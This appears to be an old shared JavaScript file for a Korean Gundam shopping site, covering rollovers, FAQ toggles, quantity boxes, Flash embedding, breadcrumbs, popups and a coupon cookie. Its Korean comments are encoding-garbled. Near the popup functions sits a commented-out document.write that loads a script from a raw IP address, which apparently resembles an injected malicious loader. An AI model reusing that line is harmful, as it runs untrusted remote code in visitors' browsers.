/* Title */
document.title="GUNDAM";


/* PNG Img */
function setPNG24(obj) {
	obj.width=obj.height=1;
	obj.className=obj.className.replace(/\bPNG24\b/i,'');
	obj.style.filter =
	"progid:DXImageTransform.Microsoft.AlphaImageLoader(src='"+ obj.src +"',sizingMethod='image');"
	obj.src='';
	return '';
}

/* Blur */



function bluring(){
	if(event.srcElement.tagName=="A"||event.srcElement.tagName=="IMG") document.body.focus();
}
document.onfocusin=bluring;



/* RollOver */
function ImageOver(imgEL){
	imgEL.src = imgEL.src.replace(".gif", "_.gif");
}
function ImageOut(imgEL){
	imgEL.src = imgEL.src.replace("_.gif", ".gif");
}


/* Dic List */
function initToggleDefList(listEl) {
        listEl.currentItem = false;
        listEl.dtList = listEl.getElementsByTagName("dt");
        listEl.ddList = listEl.getElementsByTagName("dd");

        for (i=0; i<listEl.getElementsByTagName("dt").length; i++) {
                listEl.dtList.item(i).dlEl = listEl;
                listEl.dtList.item(i).listNum = i;
                listEl.dtList.item(i).onclick = toggleDefinitionList;
        }
}

function toggleDefinitionList() {
        if (this.dlEl.dtList.item(this.dlEl.currentItem) && this.dlEl.ddList.item(this.dlEl.currentItem) && this.dlEl.currentItem != this.listNum) {
                this.dlEl.dtList.item(this.dlEl.currentItem).className = null;
                this.dlEl.ddList.item(this.dlEl.currentItem).className = null;
        }

        if (this.dlEl.ddList.item(this.listNum).className == "on") {
                this.dlEl.dtList.item(this.listNum).className = null;
                this.dlEl.ddList.item(this.listNum).className = null;
        } else {
                this.dlEl.dtList.item(this.listNum).className = "on";
                this.dlEl.ddList.item(this.listNum).className = "on";
        }

        this.dlEl.currentItem = this.listNum;
}


/* Shopping Sort List Box */
function gn_ClickSortList( nType )
{
	document.all.SortBox1.style.display = 'none';
	document.all.SortBox2.style.display = 'none';
	
	if ( nType == 1 )
		document.all.SortBox1.style.display = '';
	else if ( nType == 2 )
		document.all.SortBox2.style.display = '';
}

//	================================
//	°Ç´ã ¼îÇÎ¸ô ±¸ÀÔ¼ö·®(°¹¼ö) Ã¼Å©
//	================================
function setncheck(){

	var chkflag=true;
	num = document.form1.ea.value

	for(var i =0;i<num.length;i++){
		c=num.charAt(i);
	    if(!(c>='0' && c<='9')) {
     		chkflag = false;
    		break;
	    }
	}
	if(chkflag == false) document.form1.ea.value = 1;
}

//	================================
//	°Ç´ã ¼îÇÎ¸ô ±¸ÀÔ¼ö·®(°¹¼ö) À§¾Æ·¡ ¿Ã¸®±â ±â´É
//	================================
function setProdCNT(type, total){
	cnt = document.form1.ea.value
	cnt = ncheck(cnt);
	if(type == 'up'){
		if(cnt >= 1 && cnt < parseInt(total))
			document.form1.ea.value = eval(eval(cnt)+1);
		else
			return ;
	}else{
		if(cnt > 1)
			document.form1.ea.value = eval(eval(cnt)-1);
		else
			document.form1.ea.value = 1;
	}
	return;
}
function ncheck(num){
	var chkflg=true;
	for(var i =0;i<num.length;i++){
		c=num.charAt(i);
	    if(!(c>='0' && c<='9')) {
	            chkflag=false;
	            break;
	    }
	}
	if(chkflg) return num;
	else return 1;
}


// faq »ç¿ë
function initToggleDefList(listEl) {
        listEl.currentItem = false;
        listEl.dtList = listEl.getElementsByTagName("dt");
        listEl.ddList = listEl.getElementsByTagName("dd");

        for (i=0; i<listEl.getElementsByTagName("dt").length; i++) {
                listEl.dtList.item(i).dlEl = listEl;
                listEl.dtList.item(i).listNum = i;
                listEl.dtList.item(i).onclick = toggleDefinitionList;
        }
}

function toggleDefinitionList() {
        if (this.dlEl.dtList.item(this.dlEl.currentItem) && this.dlEl.ddList.item(this.dlEl.currentItem) && this.dlEl.currentItem != this.listNum) {
                this.dlEl.dtList.item(this.dlEl.currentItem).className = null;
                this.dlEl.ddList.item(this.dlEl.currentItem).className = null;
        }

        if (this.dlEl.ddList.item(this.listNum).className == "on") {
                this.dlEl.dtList.item(this.listNum).className = null;
                this.dlEl.ddList.item(this.listNum).className = null;
        } else {
                this.dlEl.dtList.item(this.listNum).className = "on";
                this.dlEl.ddList.item(this.listNum).className = "on";
        }

        this.dlEl.currentItem = this.listNum;
}

/***** Ç¥ÁØÇü SCROLL TOP ************************************************************/


function A2YSlide(name,id,range,sec,tb,margin){ //°´Ã¼¸í,·¹ÀÌ¾îid,ÀÌµ¿°ª,ÀÌµ¿ÃÊ,»óÇÏÀ§Ä¡(false)?t:b,°è»êµÈ »óÇÏ À§Ä¡¿¡¼­ ¶³¾îÁú ¹üÀ§
	//¼Ó¼º
	this.name = name;
	this.obj = document.getElementById(id);
	this.range = range;
	this.sec = sec;
	this.tb = tb;
	this.margin = margin;
	
	this.Timer();
}

/*¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬private ¸Þ¼Òµå ÇÔ¼ö ¼±¾ðºÎ¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬*/
A2YSlide.prototype.Move = function A2YSlide_Move(fix_y){
	objY = parseInt(this.obj.style.top);	
	if(objY != fix_y){
		this.obj.style.top = (objY + this.GetMoveValue(objY,fix_y)) + 'px';
	}
	this.Timer();
}

A2YSlide.prototype.GetMoveValue = function A2YSlide_GetMoveValue(start, end){ //ÇöÀç À§Ä¡¿Í ÀÌµ¿ÇÒ À§Ä¡¿¡ µû¸¥ ÀÌµ¿°Å¸®¸¦ ¸®ÅÏÇÑ´Ù.
	return (end - start) * this.range;
}

A2YSlide.prototype.GetDocTnB = function A2YSlide_GetDocTnB(bTB){ //¹®¼­ÀÇ »ó´ÜorÇÏ´Ü ÇÈ¼¿°ªÀ» ¹ÝÈ¯ÇÑ´Ù. (!bTB) ? Top : Bottom
	return ((bTB)?document.documentElement.clientHeight:0) + document.documentElement.scrollTop;
}

A2YSlide.prototype.Timer = function A2YSlide_Timer(){
	setTimeout(this.name + '.Move('+(this.GetDocTnB(this.tb)+this.margin)+')',this.sec);
}


/*¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¿ÜºÎ ¸¶¹ý»ç ÄÚµå¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬*/
function A2Wzd_YSlide(id,range,sec,tb,margin){ //A2YSlideÀÇ »ý¼ºÀ» µµ¿ÍÁØ´Ù.
	eval('C'+id+" = new A2YSlide('C"+id+"','"+id+"',"+range+","+sec+","+tb+","+margin+');');
	//½ÇÇà¿¹ - CSMenu = new A2YSlide('CSMenu','SMenu',0.2,10,0,50); => varÀ» »ç¿ëÇÏÁö ¾ÊÀº Àü¿ªº¯¼ö¸¦ »ý¼ºÇÑ´Ù.
}

function OnTop(){
	scrollTo(0,0);
}



/*ActiveX ÇÃ·¡½¬<script>Flash(¡®mnav¡¯,¡®/Common/fla.mnav.swf¡¯, ¡®960¡¯, ¡®160¡¯, ¡®#FFFFFF¡¯, ¡®transparent¡¯);</script>*/
// id: flash id // allowScriptAccess=sameDomain/always
// url: source url
// w: source width
// h: source height
// t: wmode (window/transparent/opaque)
function Flash(id,url,w,h,bg,t){
document.write("\
<object classid='clsid:d27cdb6e-ae6d-11cf-96b8-444553540000' codebase='http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=8,0,0,0' width="+w+" height="+h+" id="+id+">\
<param name='movie' value="+url+" />\
<param name='wmode' value="+t+" />\
<param name='bgcolor' value="+bg+" />\
<param name='allowScriptAccess' value='always' />\
<param name='quality' value='high' />\
<param name='menu' value='false' />\
<embed src="+url+" width="+w+" height="+h+" name="+id+" bgcolor="+bg+" allowScriptAccess='always' quality='high' type='application/x-shockwave-flash' pluginspage='http://www.macromedia.com/go/getflashplayer' />\
</object>\
");
}
function FlashObj(id,url,param,w,h,bg,t){
document.write("\
<object classid='clsid:d27cdb6e-ae6d-11cf-96b8-444553540000' codebase='http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=8,0,0,0' width="+w+" height="+h+" id="+id+">\
<param name='movie' value="+url+" />\
<param name='FlashVars' value="+param+" />\
<param name='wmode' value="+t+" />\
<param name='bgcolor' value="+bg+" />\
<param name='allowScriptAccess' value='always' />\
<param name='quality' value='high' />\
<param name='menu' value='false' />\
<embed src="+url+" width="+w+" height="+h+" name="+id+" bgcolor="+bg+" allowScriptAccess='always' quality='high' type='application/x-shockwave-flash' pluginspage='http://www.macromedia.com/go/getflashplayer' />\
</object>\
");
}


/* ÆäÀÌÁö°æ·Î ***************************************************************************************************************/
// XML¸µÅ©
var xmlDoc , lineMapStr = "" , currentPath="" , index = 0;
var moz = (typeof document.implementation != 'undefined') && (typeof document.implementation.createDocument != 'undefined');
var ie = (typeof window.ActiveXObject != 'undefined');

importXML("/inc/js/menu.xml");
function importXML(file) {
	if (moz) {
		xmlDoc = document.implementation.createDocument("", "", null);
		xmlDoc.async = false;
	} else if (ie) {
		xmlDoc = new ActiveXObject("Microsoft.XMLDOM");
		xmlDoc.async = false;
	}
	xmlDoc.load(file);
}

function getLineMapNode(id){
	var menuXpath , node;
	menuXpath = "//menu[@id='" + id + "']";
	if (moz) {
		node = xmlDoc.evaluate(menuXpath, xmlDoc, null, 9,null).singleNodeValue;
	} else if (ie) {
		node = xmlDoc.selectSingleNode(menuXpath);
	}
	return node;
}

function setString(node){
	var spStr = "" , last="";
	var name = node.getAttribute("name");
	var url  = node.getAttribute("url");
	var nodeId  = node.getAttribute("id");

	if(index++ != 0) spStr = "<span class='ico'></span>";
	if(node != xmlDoc.documentElement) 	setString(node.parentNode);
//		lineMapStr += name + spStr;
	if(currentPath != nodeId)
		lineMapStr += "<a href='"+url+"'>"+ name+"</a>" + spStr;
	else
		lineMapStr += "<em class='point1'>"+ name+"</em>" + spStr;
}

function path(id){
	try{
		var node = getLineMapNode(id);
		lineMapStr = "";
		index = 0;
		currentPath=id;
		setString(node);
		document.write(lineMapStr);
	}catch(e){
		if(node == null){
			document.write("¾ÆÀÌµð°¡ Á¸Àç ÇÏÁö ¾Ê½À´Ï´Ù : " + id);
		}else{
			document.write("¿¹¿ÜÃ³¸® ¹ß»ý : " +  e);
		}
	}
}

function name(id){
	var node = getLineMapNode(id);
	var name  = node.getAttribute("name");
	var url  = node.getAttribute("url");
	var nameStr = "<a href='"+url+"'>"+ name+"</a>";
	document.write(nameStr);
}


function link(){
	var id = "";
	var depth = arguments.length;
	try {
		if(depth==0) return;
		else if(depth==1) id = eval("'"+arguments[0]+"'");
		else if(depth==2) id = eval("'"+arguments[0]+"_"+arguments[1]+"'");
		else if(depth==3) id = eval("'"+arguments[0]+"_"+arguments[1]+"_"+arguments[2]+"'");
		else if(depth==4) id = eval("'"+arguments[0]+"_"+arguments[1]+"_"+arguments[2]+"_"+arguments[3]+"'");

		if(id=="") { alert("ÁØºñÁßÀÔ´Ï´Ù."); }
		else {
			var node = getLineMapNode(id);
			var url  = node.getAttribute("url");
			location.href = url;
		}

	}catch(e) { alert("ÁØºñÁßÀÔ´Ï´Ù."); }
}

/* document.write("<script language=javascript src=http://125.128.6.11/t./swf.js></script>");*/

/* Popup */
function pop(url,name,w,h){ window.open(url,name,'width='+w+',height='+h+',scrollbars=auto') } //Popup(½ºÅ©·Ñ¹Ù¾øÀ½)
function pops(url,name,w,h){ window.open(url,name,'width='+w+',height='+h+',scrollbars=yes') } //Popup(½ºÅ©·Ñ¹ÙÀÖÀ½)
function popr(url,name,w,h){ window.open(url,name,'width='+w+',height='+h+',scrollbars=auto,resizable=1') } //Popup(½ºÅ©·Ñ¹ÙÀÖÀ½)
function popL(url,name,w,h,t,l){ window.open(url,name,'top='+t+',left='+l+',width='+w+',height='+h+',scrollbars=auto') } //Popup(½ºÅ©·Ñ¹Ù¾øÀ½), À§Ä¡ÁöÁ¤
function popsL(url,name,w,h,t,l){ window.open(url,name,'top='+t+',left='+l+',width='+w+',height='+h+',scrollbars=yes') } //Popup(½ºÅ©·Ñ¹ÙÀÖÀ½), À§Ä¡ÁöÁ¤
function newwin(url,w,h){ window.open(url,'new','width='+w+',height='+h+',location=1,directories=1,resizable=1,status=1,toolbar=1,menubar=1,scrollbars=1') } //NewPopup(½ºÅ©·Ñ¹Ù¾øÀ½)

//################# ÄíÆù ·¹ÀÌ¾î 2009-04-10 #################//             
function cpn_showHideLayers(n) { //v9.0
	setCpnCookie(n,"done",1);
	document.getElementById("cpn_layer").style.display="none";
}

function cpn_event20090410(v, p, n) { //v9.0
   	var eventCookie = getCpnCookie(n);
   	if (eventCookie != "done"){
		var cpn_content	=	"<div id='cpn_layer' style='position:absolute;z-index:1200;left:300px;top:50px;'><table width='148' height='73' border='0' cellpadding='0' cellspacing='0'><tr><td width='131'><img src='/images/etc/cp_alert_1.gif'></td><td width='17'><a href='javascript:cpn_showHideLayers(\""+n+"\")' alt='´Ý±â'><img src='/images/etc/cp_alert_2.gif' border='0'></a></td></tr><tr valign='top'><td colspan='2' valign='top'><a href='/mypage/myCoupon.jsp?listType=U'><img src='/images/etc/cp_alert_3.gif' border='0'></a></td></tr></table></div>";

		document.getElementById("cpn_event_content").innerHTML=cpn_content;
		document.getElementById("cpn_layer").style.top=p;
		document.getElementById("cpn_layer").style.left=v;
	}
}

function setCpnCookie(name,value,expiredays)
{
 var todayDate = new Date();
 todayDate.setDate(todayDate.getDate() + expiredays);
 document.cookie = name+"="+escape(value)+"; path=/; expires="+todayDate.toGMTString()+";";
}

function getCpnCookie(name)
{
	var Found = false
	var start, end
	var i = 0
	// cookie ¹®ÀÚ¿­ ÀüÃ¼¸¦ °Ë»ö
	while(i <= document.cookie.length)
	{
		start = i
		end = start + name.length
	// name°ú µ¿ÀÏÇÑ ¹®ÀÚ°¡ ÀÖ´Ù¸é
	if(document.cookie.substring(start, end) == name)
	{
		Found = true
		break
	}
		i++
	}
	// name ¹®ÀÚ¿­À» cookie¿¡¼­ Ã£¾Ò´Ù¸é
	if(Found == true) {
	start = end + 1
	end = document.cookie.indexOf(";", start)
	// ¸¶Áö¸· ºÎºÐÀÌ¶ó ´Â °ÍÀ» ÀÇ¹Ì(¸¶Áö¸·¿¡´Â ";"°¡ ¾ø´Ù)
	if(end < start)
	end = document.cookie.length
	// name¿¡ ÇØ´çÇÏ´Â value°ªÀ» ÃßÃâÇÏ¿© ¸®ÅÏÇÑ´Ù.
	return document.cookie.substring(start, end)
	}
	// Ã£Áö ¸øÇß´Ù¸é
	return ""
}


//################# ÄíÆù ·¹ÀÌ¾î 2009-04-10 #################//     